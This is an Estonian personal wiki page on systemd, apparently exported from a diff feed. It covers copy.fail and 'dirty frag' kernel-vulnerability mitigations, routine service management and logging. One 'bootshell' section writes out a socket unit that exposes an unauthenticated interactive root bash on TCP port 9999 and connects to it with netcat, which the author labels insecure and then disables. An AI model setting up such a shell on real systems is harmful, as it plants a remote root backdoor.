* https://security-tracker.debian.org/tracker/source-package/linux&lt;br /&gt;
* muudatusi saab otsida globaalse CVE nime abil (nt CVE-2026-31431)&lt;br /&gt;
&lt;br /&gt;
====Ubuntu====&lt;br /&gt;
&lt;br /&gt;
20260501 ilmus Ubuntu operatsioonisüsteemile parandatud kmod pakett&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260502-ubuntu-copy-fail-01.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kmod paketis sisaldub fail etc/modprobe.d/disable-algif_aead.conf&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~/20260502# cat etc/modprobe.d/disable-algif_aead.conf&lt;br /&gt;
# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)&lt;br /&gt;
# This will likely be re-enabled in a subsequent update once an updated&lt;br /&gt;
# kernel has been deployed.&lt;br /&gt;
# Blacklisting the module isn't sufficient, we need to do as below:&lt;br /&gt;
install algif_aead /bin/false&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* küllap parandatud tuum ilmub seejärel&lt;br /&gt;
&lt;br /&gt;
Tulemus paistab selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@moraal:~# uname -a&lt;br /&gt;
Linux moraal 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux&lt;br /&gt;
&lt;br /&gt;
root@moraal:~# modprobe algif_aead&lt;br /&gt;
modprobe: ERROR: ../libkmod/libkmod-module.c:1084 command_do() Error running install command '/bin/false' for module algif_aead: retcode 1&lt;br /&gt;
modprobe: ERROR: could not insert 'algif_aead': Invalid argument&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Proxmox====&lt;br /&gt;
&lt;br /&gt;
20260501 on ilmunud no-subscription repodesse v. 7 tuum, seda see 'copy fail' haavatavus ei puuduta&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# uname -a&lt;br /&gt;
Linux pve-svc-02 7.0.0-3-pve #1 SMP PREEMPT_DYNAMIC PMX 7.0.0-3 (2026-04-21T22:56Z) x86_64 GNU/Linux&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-configure-systemd-service-hardening-on-ubuntu/view&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-seccomp-to-restrict-system-calls-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===20260508 - dirty frag eksploit===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
chatgpt üks pakkumine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[Service]&lt;br /&gt;
# Blocks the RxRPC network protocol specifically&lt;br /&gt;
RestrictAddressFamilies=~AF_RXRPC&lt;br /&gt;
&lt;br /&gt;
# Prevents gaining root via setuid binaries (essential for LPE defense)&lt;br /&gt;
NoNewPrivileges=yes&lt;br /&gt;
&lt;br /&gt;
# Blocks the kernel module from being auto-loaded&lt;br /&gt;
ProtectKernelModules=yes&lt;br /&gt;
&lt;br /&gt;
# Restricts namespaces (blocks the ESP variant requirement)&lt;br /&gt;
RestrictNamespaces=yes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Random linux arvutis toetatud protokollide perekonnad (2026 aastal on neid kokku ca 40 tükki)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# cat /proc/net/protocols&lt;br /&gt;
protocol  size sockets  memory press maxhdr  slab module     cl co di ac io in de sh ss gs se re bi br ha uh gp em&lt;br /&gt;
SCO        896      0      -1   NI       0   no   bluetooth   n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n&lt;br /&gt;
L2CAP      880      0      -1   NI       0   no   bluetooth   n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n&lt;br /&gt;
HCI        936      0      -1   NI       0   no   bluetooth   n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n&lt;br /&gt;
PACKET    1600      0      -1   NI       0   no   kernel      n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n&lt;br /&gt;
MPTCPv6   2128      1     949   no       0   yes  kernel      y  y  y  n  y  y  y  y  y  y  y  y  n  n  y  y  y  n&lt;br /&gt;
PINGv6    1408      0      -1   NI       0   yes  kernel      y  y  y  n  n  y  n  n  y  y  y  y  y  y  n  y  y  n&lt;br /&gt;
RAWv6     1408      0      -1   NI       0   yes  kernel      y  y  y  n  y  y  y  n  y  y  y  y  y  y  y  y  n  n&lt;br /&gt;
UDPLITEv6 1472      0       0   NI       0   yes  kernel      y  y  y  n  y  y  y  n  y  y  y  y  n  n  y  y  y  n&lt;br /&gt;
UDPv6     1472      2       0   NI       0   yes  kernel      y  y  y  n  y  y  y  n  y  y  y  y  n  n  y  y  y  n&lt;br /&gt;
TCPv6     2560      9     949   no     320   yes  kernel      y  y  y  y  y  y  y  y  y  y  y  y  n  y  y  y  y  y&lt;br /&gt;
XDP       1024      0      -1   NI       0   no   kernel      n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n&lt;br /&gt;
UNIX-STREAM 1152    628      -1   NI       0   yes  kernel      y  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n&lt;br /&gt;
UNIX      1152     65      -1   NI       0   yes  kernel      y  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n&lt;br /&gt;
UDP-Lite  1344      0       0   NI       0   yes  kernel      y  y  y  n  y  y  y  n  y  y  y  y  n  n  y  y  y  n&lt;br /&gt;
MPTCP     2000      0     949   no       0   yes  kernel      y  y  y  n  y  y  y  y  y  y  y  y  n  n  y  y  y  n&lt;br /&gt;
PING      1056      0      -1   NI       0   yes  kernel      y  y  y  n  n  y  n  n  y  y  y  y  y  y  n  y  y  n&lt;br /&gt;
RAW       1216      0      -1   NI       0   yes  kernel      y  y  y  n  y  y  y  n  y  y  y  y  y  y  y  y  n  n&lt;br /&gt;
UDP       1344      3       0   NI       0   yes  kernel      y  y  y  n  y  y  y  n  y  y  y  y  n  n  y  y  y  n&lt;br /&gt;
TCP       2432     23     949   no     320   yes  kernel      y  y  y  y  y  y  y  y  y  y  y  y  n  y  y  y  y  y&lt;br /&gt;
MCTP       872      0      -1   NI       0   no   kernel      y  n  n  n  n  y  n  n  n  n  n  n  n  n  y  y  n  n&lt;br /&gt;
NETLINK   1120     77      -1   NI       0   no   kernel      n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://github.com/V4bel/dirtyfrag&lt;br /&gt;
&lt;br /&gt;
===bootshell===&lt;br /&gt;
&lt;br /&gt;
Osutub, et systemd pid=1 protsess on selles mõttes unikaalne, et on võimalik käimasolevale protsessile seadistada juurde porte, millel ta teenindab. Näide avab üle võrgu shell kasutamise võimalus, arusaadavalt on see äärmiselt ebaturvaline praktiliselt kasutamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# cat /etc/systemd/system/bootshell.socket&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=Neutral Side-Channel Boot Shell Socket&lt;br /&gt;
&lt;br /&gt;
[Socket]&lt;br /&gt;
ListenStream=9999&lt;br /&gt;
Accept=yes&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
WantedBy=sockets.target&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# cat /etc/systemd/system/bootshell@.service&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=Neutral Side-Channel Boot Shell Service&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
ExecStart=-/bin/bash -i&lt;br /&gt;
StandardInput=socket&lt;br /&gt;
StandardOutput=socket&lt;br /&gt;
StandardError=socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Aktiveerimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl daemon-reload&lt;br /&gt;
root@zabbix-pub-01:~# systemctl enable --now bootshell.socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# netstat -lnpt | grep 9999&lt;br /&gt;
tcp6       0      0 :::9999                 :::*                    LISTEN      1/init&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks tuleb üle võrgu tekitada tcp ühendus, nt netcat programmiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imreoolberg@Imres-MacBook-Air ~ % nc 192.168.10.193 9999&lt;br /&gt;
bash: cannot set terminal process group (-1): Inappropriate ioctl for device&lt;br /&gt;
bash: no job control in this shell&lt;br /&gt;
root@zabbix-pub-01:/# hostname -f&lt;br /&gt;
hostname -f&lt;br /&gt;
zabbix-pub-01&lt;br /&gt;
root@zabbix-pub-01:/# exit&lt;br /&gt;
exit&lt;br /&gt;
exit&lt;br /&gt;
imreoolberg@Imres-MacBook-Air ~ %&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kuna tegu on väga spetsiifilise ja ebaturvalise katsega, lõpus öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl disable --now bootshell.socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===systemd-coredump===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-systemd-coredump-for-crash-analysis-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* [[:Systemd-nspawn kasutamine operatsioonisüsteemiga Debian]]&lt;br /&gt;
* http://en.wikipedia.org/wiki/Systemd&lt;br /&gt;
* http://blog.exppad.com/article/a-docker-like-container-management-using-systemd&lt;br /&gt;
* http://0pointer.net/blog/projects/systemd-for-admins-1.html&lt;br /&gt;
* http://zero-knowledge.org/post/92&lt;br /&gt;
* http://0pointer.de/public/systemd-ebook-psankar.pdf&lt;br /&gt;
* http://ktaraghi.blogspot.com/2013/11/what-is-systemd-and-how-it-works-part-1.html&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Systemd_kasutamine&amp;diff=4250</id>
		<title>Systemd kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Systemd_kasutamine&amp;diff=4250"/>
		<updated>2026-06-20T14:12:42Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* bootshell */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
systemd http://freedesktop.org/wiki/Software/systemd/ ...&lt;br /&gt;
&lt;br /&gt;
Tundub, et 2014 aasta lõpus on Debian v. 8 Jessie koosseisus vaikimisi systemd&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /sbin/init &lt;br /&gt;
 lrwxrwxrwx 1 root root 20 Sep 28 22:33 /sbin/init -&amp;gt; /lib/systemd/systemd&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
* Turvalisus ja tegevuste isoleerimine failisüsteemi ja võrgu tasemel, http://0pointer.de/blog/projects/security.html&lt;br /&gt;
* SysV käivitusskripti on imperatiivsed, st shell skriptid praktiliselt, systemd nö käivitusskriptid on deklaratiivsed, st nn .ini failidele sarnase sisuga&lt;br /&gt;
&lt;br /&gt;
===Paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et minimaalsele keskkonnale (nt debootstrap abil moodustatud) tuleb juurde lisada dbus ja polkit tugi, vastasel korral nt systemd-cgls programm ei tööta)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install dbus libpolkit-agent-1-0&lt;br /&gt;
&lt;br /&gt;
===Kasutamine===&lt;br /&gt;
&lt;br /&gt;
Teenuse oleku küsimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl status ssh.service&lt;br /&gt;
 ● ssh.service - OpenBSD Secure Shell server&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/ssh.service; enabled)&lt;br /&gt;
    Active: active (running) since Tue 2014-11-04 02:43:10 EET; 18h ago&lt;br /&gt;
  Main PID: 1956 (sshd)&lt;br /&gt;
    CGroup: /system.slice/ssh.service&lt;br /&gt;
            └─1956 /usr/sbin/sshd -D&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
 # cat /lib/systemd/system/ssh.service &lt;br /&gt;
 [Unit]&lt;br /&gt;
 Description=OpenBSD Secure Shell server&lt;br /&gt;
 After=network.target auditd.service&lt;br /&gt;
 ConditionPathExists=!/etc/ssh/sshd_not_to_be_run&lt;br /&gt;
 &lt;br /&gt;
 [Service]&lt;br /&gt;
 EnvironmentFile=-/etc/default/ssh&lt;br /&gt;
 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS&lt;br /&gt;
 ExecReload=/bin/kill -HUP $MAINPID&lt;br /&gt;
 KillMode=process&lt;br /&gt;
 Restart=on-failure&lt;br /&gt;
 &lt;br /&gt;
 [Install]&lt;br /&gt;
 WantedBy=multi-user.target&lt;br /&gt;
 Alias=sshd.service&lt;br /&gt;
&lt;br /&gt;
Teenuste nimekirja esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl  list-units --type=service | head -n 5&lt;br /&gt;
   UNIT                                 LOAD   ACTIVE SUB     DESCRIPTION&lt;br /&gt;
   accounts-daemon.service              loaded active running Accounts Service&lt;br /&gt;
   acpid.service                        loaded active exited  LSB: Start the Advanced Configuration and Power Interface daemon&lt;br /&gt;
   amavis-mc.service                    loaded active exited  LSB: Startup script for amavis master supervisor&lt;br /&gt;
   amavis.service                       loaded active running LSB: Starts amavisd-new mailfilter&lt;br /&gt;
&lt;br /&gt;
Tundub, et teenus saab olla mitmes olekus, üks variant teenuseid on sellised, mis arvuti käivitamisel nö korraks töötavad midagi sisse lülitades ja siis teevad exit, nt&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-units --type=service --state=exited&lt;br /&gt;
 UNIT                             LOAD   ACTIVE SUB    DESCRIPTION&lt;br /&gt;
 getty-static.service             loaded active exited getty on tty2-tty6 if dbus and logind are not available&lt;br /&gt;
 kbd.service                      loaded active exited LSB: Prepare console&lt;br /&gt;
 keymap.service                   loaded active exited LSB: Set keymap&lt;br /&gt;
 modules_dep.service              loaded active exited LSB: modules.dep creation.&lt;br /&gt;
 netfilter-persistent.service     loaded active exited netfilter persistent configuration&lt;br /&gt;
 networking.service               loaded active exited LSB: Raise network interfaces.&lt;br /&gt;
 quota.service                    loaded active exited Check And Enable File System Quotas&lt;br /&gt;
 rc-local.service                 loaded active exited /etc/rc.local Compatibility&lt;br /&gt;
 systemd-random-seed.service      loaded active exited Load/Save Random Seed&lt;br /&gt;
&lt;br /&gt;
===systemd-timedated===&lt;br /&gt;
&lt;br /&gt;
Tööpõhimõte&lt;br /&gt;
&lt;br /&gt;
* systemd-timedated on dispetšer, mis vahendab seadistuse utiliiti timedatectl konkreetsete ntp serveritega (nt chrony, systemd-timesyncd)&lt;br /&gt;
* systemd-timedated ei tööta pidavalt, ta käivitub dbus juhtimisel&lt;br /&gt;
&lt;br /&gt;
timedatectl programmiga saab seadistada ajavööndit jms&lt;br /&gt;
&lt;br /&gt;
 # timedatectl list-timezones&lt;br /&gt;
 # timedatectl set-timezone Europe/Tallinn&lt;br /&gt;
&lt;br /&gt;
systemd-timesyncd või chrony on ntp klient deemon, mis tuleb kasutamiseks sisse lülitada&lt;br /&gt;
&lt;br /&gt;
 # timedatectl set-ntp true&lt;br /&gt;
&lt;br /&gt;
Tundub, et samaväärne on öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable systemd-timesyncd&lt;br /&gt;
 # systemctl start systemd-timesyncd&lt;br /&gt;
&lt;br /&gt;
või 'systemctl enable|disable chrony', aga ehk on õigem opereerida timedatectl abil&lt;br /&gt;
&lt;br /&gt;
Töötamissel annab timedatactl saranase vastuse&lt;br /&gt;
&lt;br /&gt;
 # timedatectl status&lt;br /&gt;
       Local time: Fri 2015-07-31 01:21:26 EEST&lt;br /&gt;
   Universal time: Thu 2015-07-30 22:21:26 UTC&lt;br /&gt;
         RTC time: Thu 2015-07-30 22:21:26&lt;br /&gt;
        Time zone: Europe/Tallinn (EEST, +0300)&lt;br /&gt;
      NTP enabled: yes&lt;br /&gt;
 NTP synchronized: no&lt;br /&gt;
  RTC in local TZ: no&lt;br /&gt;
       DST active: yes&lt;br /&gt;
  Last DST change: DST began at&lt;br /&gt;
                   Sun 2015-03-29 02:59:59 EET&lt;br /&gt;
                   Sun 2015-03-29 04:00:00 EEST&lt;br /&gt;
  Next DST change: DST ends (the clock jumps one hour backwards) at&lt;br /&gt;
                   Sun 2015-10-25 03:59:59 EEST&lt;br /&gt;
                   Sun 2015-10-25 03:00:00 EET&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* valitud ajavööndi Daylight Saving Time algus ja lõpp&lt;br /&gt;
* kas NTP teenust töötab (systemd-timesyncd)&lt;br /&gt;
&lt;br /&gt;
Spetsiifilise NTP serveri kasutamiseks sobib näidata ta seadistusfailis /etc/systemd/timesyncd.conf&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/timesyncd.conf&lt;br /&gt;
 [Time]&lt;br /&gt;
 Servers=10.192.0.53&lt;br /&gt;
&lt;br /&gt;
ja muudatuse kehtestamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl restart systemd-timesyncd&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
 # systemctl status systemd-timesyncd&lt;br /&gt;
 ● systemd-timesyncd.service - Network Time Synchronization&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/systemd-timesyncd.service; enabled)&lt;br /&gt;
    Active: active (running) since Fri 2015-07-31 09:13:18 EEST; 1min 43s ago&lt;br /&gt;
      Docs: man:systemd-timesyncd.service(8)&lt;br /&gt;
  Main PID: 1179 (systemd-timesyn)&lt;br /&gt;
    Status: &amp;quot;Using Time Server 10.192.0.53:123 (10.192.0.53).&amp;quot;&lt;br /&gt;
    CGroup: /system.slice/systemd-timesyncd.service&lt;br /&gt;
            └─1179 /lib/systemd/systemd-timesyncd&lt;br /&gt;
 &lt;br /&gt;
 Jul 31 09:13:17 postkast systemd-timesyncd[1179]: Using NTP server 10.192.0.53:123 (10.192.0.53).&lt;br /&gt;
 Jul 31 09:13:18 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 32s/+0.621s/0.000s/0.000s/+0ppm&lt;br /&gt;
 Jul 31 09:13:50 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 64s/+0.000s/0.000s/0.000s/+0ppm&lt;br /&gt;
 Jul 31 09:14:54 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 128s/-0.000s/0.000s/0.000s/+0ppm&lt;br /&gt;
&lt;br /&gt;
Taustal tegutseb lisaks systemd-timedated deemon, mis on static, st teda kutsutakse automaatselt vajadusel välja, st käivitatakse&lt;br /&gt;
&lt;br /&gt;
 # systemctl status systemd-timedated&lt;br /&gt;
 ● systemd-timedated.service - Time &amp;amp; Date Service&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/systemd-timedated.service; static)&lt;br /&gt;
    Active: inactive (dead)&lt;br /&gt;
      Docs: man:systemd-timedated.service(8)&lt;br /&gt;
            man:localtime(5)&lt;br /&gt;
            http://www.freedesktop.org/wiki/Software/systemd/timedated&lt;br /&gt;
&lt;br /&gt;
Seos busctl osakonnaga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pg-01:~# busctl | grep time&lt;br /&gt;
org.freedesktop.timedate1        - -               -               (activatable) -                           -       -&lt;br /&gt;
&lt;br /&gt;
root@ns-pg-01:~# timedatectl status&lt;br /&gt;
               Local time: Wed 2026-06-03 01:26:34 EEST&lt;br /&gt;
           Universal time: Tue 2026-06-02 22:26:34 UTC&lt;br /&gt;
                 RTC time: Tue 2026-06-02 22:26:34&lt;br /&gt;
                Time zone: Europe/Tallinn (EEST, +0300)&lt;br /&gt;
System clock synchronized: yes&lt;br /&gt;
              NTP service: active&lt;br /&gt;
          RTC in local TZ: no&lt;br /&gt;
&lt;br /&gt;
root@ns-pg-01:~# busctl | grep time&lt;br /&gt;
:1.34                         2449 systemd-timedat root            :1.34         systemd-timedated.service   -       -&lt;br /&gt;
org.freedesktop.timedate1     2449 systemd-timedat root            :1.34         systemd-timedated.service   -       -&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Rakenduste kasutamine systemd keskkonnas===&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL kasutamine====&lt;br /&gt;
&lt;br /&gt;
Mitme PostgreSQL protsesside komplekti kasutamiseks sobib esmalt järgmise eksemplari osa failisüsteemis ettevalmistada nö tavalisel viisil&lt;br /&gt;
&lt;br /&gt;
 # pg_createcluster 9.4 test&lt;br /&gt;
&lt;br /&gt;
ning käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl start postgresql@9.4-test&lt;br /&gt;
&lt;br /&gt;
Mitme PostgreSQL protsesside komplekti kasutamine paistab sedasi&lt;br /&gt;
&lt;br /&gt;
 # ps -U postgres -o pid,user,cgroup:150,args&lt;br /&gt;
   PID USER     CGROUP                                                                           COMMAND&lt;br /&gt;
 10064 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service /usr/lib/postgresql/9.4/bin/postgres -D /va ...&lt;br /&gt;
 10070 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: checkpointer process&lt;br /&gt;
 10072 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: writer process   &lt;br /&gt;
 10074 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: wal writer process   &lt;br /&gt;
 10076 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: autovacuum launcher process   &lt;br /&gt;
 10078 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: stats collector process   &lt;br /&gt;
 &lt;br /&gt;
 10331 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service /usr/lib/postgresql/9.4/bin/postgres -D /var ...&lt;br /&gt;
 10333 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: checkpointer process   &lt;br /&gt;
 10334 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: writer process   &lt;br /&gt;
 10335 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: wal writer process   &lt;br /&gt;
 10336 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: autovacuum launcher process   &lt;br /&gt;
 10337 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: stats collector process &lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* erinevate PostgreSQL protsessi kompilektide protsessid on sama süsteemi kasutaja postgres omad, aga kuuluvad erinevatesse kerneli CGROUP'idesse&lt;br /&gt;
&lt;br /&gt;
Tapmiseks nö -9 signaaliga&lt;br /&gt;
&lt;br /&gt;
 # systemctl kill -s SIGKILL postgresql@9.4-test.service&lt;br /&gt;
&lt;br /&gt;
====Samba====&lt;br /&gt;
&lt;br /&gt;
Teenuste seiskamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop smbd&lt;br /&gt;
 # systemctl stop nmbd&lt;br /&gt;
&lt;br /&gt;
kontrolliks&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep mb&lt;br /&gt;
&lt;br /&gt;
AD kasutamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl start samba-ad-dc&lt;br /&gt;
&lt;br /&gt;
====OpenVPN====&lt;br /&gt;
&lt;br /&gt;
Kui OpenVPN kliendi seadisus asub failis /etc/openvpn/client.conf, siis käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl start openvpn@client.service&lt;br /&gt;
&lt;br /&gt;
====Serial konsool====&lt;br /&gt;
&lt;br /&gt;
Serial konsooli käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable serial-getty@ttyS0.service&lt;br /&gt;
 Created symlink from /etc/systemd/system/getty.target.wants/serial-getty@ttyS0.service \&lt;br /&gt;
   to /lib/systemd/system/serial-getty@.service.&lt;br /&gt;
 &lt;br /&gt;
 # systemctl start serial-getty@ttyS0.service&lt;br /&gt;
&lt;br /&gt;
Tulemusena saab ipmitool, cu, minicom jt programmide abil pöörduda serial konsooli poole.&lt;br /&gt;
&lt;br /&gt;
====NUT====&lt;br /&gt;
&lt;br /&gt;
Tundub, et töötab, nt&lt;br /&gt;
&lt;br /&gt;
 # systemctl status nut-server&lt;br /&gt;
 # systemctl status nut-client&lt;br /&gt;
&lt;br /&gt;
====iptables====&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://www.auul.pri.ee/wiki/Iptables_kasutamine_Debianiga#iptables-persistant&lt;br /&gt;
&lt;br /&gt;
====rsyslog====&lt;br /&gt;
&lt;br /&gt;
Peatamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop syslog.socket rsyslog.service&lt;br /&gt;
&lt;br /&gt;
vastasel korral tuleb sõnum sisse ja rsyslog teenus käivitatakse automaatselt.&lt;br /&gt;
&lt;br /&gt;
====Varnish====&lt;br /&gt;
&lt;br /&gt;
Kuulava pordi muutmine failis&lt;br /&gt;
&lt;br /&gt;
 # grep ^ExecS /lib/systemd/system/varnish.service &lt;br /&gt;
 ExecStart=/usr/sbin/varnishd -j unix,user=vcache -F -a :80 -T localhost:6082 -f /etc/varnish/default.vcl -S /etc/varnish/secret -s malloc,256m&lt;br /&gt;
&lt;br /&gt;
Logimisel X-Forwarded-For kasutamiseks&lt;br /&gt;
&lt;br /&gt;
 # grep ^ExecS /lib/systemd/system/varnishncsa.service &lt;br /&gt;
 ExecStart=/usr/bin/varnishncsa -F '%%{X-Forwarded-For}i %%l %%u %%t \&amp;quot;%%r\&amp;quot; %%s %%b \&amp;quot;%%{Referer}i\&amp;quot; \&amp;quot;%%{User-agent}i\&amp;quot;' -a -w /var/log/varnish/varnishncsa.log&lt;br /&gt;
&lt;br /&gt;
Muudatuste kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
 # /etc/init.d/varnishncsa restart&lt;br /&gt;
 # /etc/init.d/varnish restart&lt;br /&gt;
&lt;br /&gt;
Logis on näha X-Forwarded-For päisest tulnud aadress ning tcp ühenduse teise otspunkti aadress&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# tail -f /var/log/varnish/varnishncsa.log&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
Systemd sisaldab logimise komponenti journald. &lt;br /&gt;
&lt;br /&gt;
====Süsteemi alglaadimine====&lt;br /&gt;
&lt;br /&gt;
Logimise haldusutiliit näitab vaikimisi kogu kogutud logi alates viimasest alglaadimisest, vanemad sissekanded eespool&lt;br /&gt;
&lt;br /&gt;
 # journalctl&lt;br /&gt;
